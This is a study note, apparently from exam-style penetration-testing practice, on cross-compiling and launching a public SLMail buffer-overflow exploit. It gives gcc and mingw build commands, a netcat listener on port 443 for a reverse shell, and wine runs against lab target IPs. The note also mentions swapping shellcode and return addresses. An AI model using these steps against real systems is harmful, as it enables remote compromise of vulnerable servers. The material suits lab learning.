|
EXPLOIT COMPILATION
=============================================================
Exploit Compilation
=============================================================
USING GCC TO COMPILE A LINUX ELF BINARY:
Once the exploit has been updated, we need to compile it to a linux elf binary. In this case the modified exploit is called 634-fixed.c and the binary output will be slmail-linux
#gcc 643-fixed.c -o slmail-linux
To confirm that the file compiled and is now an ELF binary file:
# file slmail-linux
Launch SLMail
Setup a listener
#nc -lvnp 443
run the exploit with wine and define a target ip.
#./slmail-linux
USING MINGW32 TO COMPILE A WINDOWS EXPLOIT ON A LINUX MACHINE (MINGW32 IS A CROSS COMPILER):
Mingw is a windows cross compiler that is available in Kali Linux. If not already installed we can quickly install Mingw with the following command:
#apt-get install mingw32
We will use mingw cross compiler to compile our SLMail windows orientated exploit code into a windows PE executable.
#i686-w64-mingw32-gcc 646-fixed.c
In this example, this results in a compilation error. The next step is to google some of the compilation errors.
After reviewing forums, a fix is identified. A library needed to be defined on the CLI at compilation time along with an output file name.
old way: #i586-mingw32msvc-gcc 646-fixed.c -lws2_32 -o slmail-windows.exe
#i686-w64-mingw32-gcc 646-fixed.c -lws2_32 -o slmail-windows.exe
Check that the filed compiled and is a windows executable:
#file slmail-windows.exe
I can now run this windows PE file on linux using wine which is also in Kali. Wine is the windows implementation on unix. In order to run the file:
#wine slmail-windows.exe
eg:
#wine slmail-windows.exe 10.11.25.39
Launch SLMail
Setup a listener
#nc -lvnp 443
run the exploit with wine and define a target ip.
#wine slmail-windows.exe 192.168.30.35
If the exploit does not work for you, use tools such as immunity debugger and wireshark and fix it.
Note that we have compiled windows code on a linux machine and then run an windows executable on linux this is a useful thing to remember as we will often be able to compile and run imple windows applications on kali and avoid having to change Operating Systems.
***
I managed to get this one to work. I made 12 changes. This required, replace the shell code, replace the retadd, and then adjust where the ptr is pointing. This is documented in some details in Keepnote.
***
|
|
|
|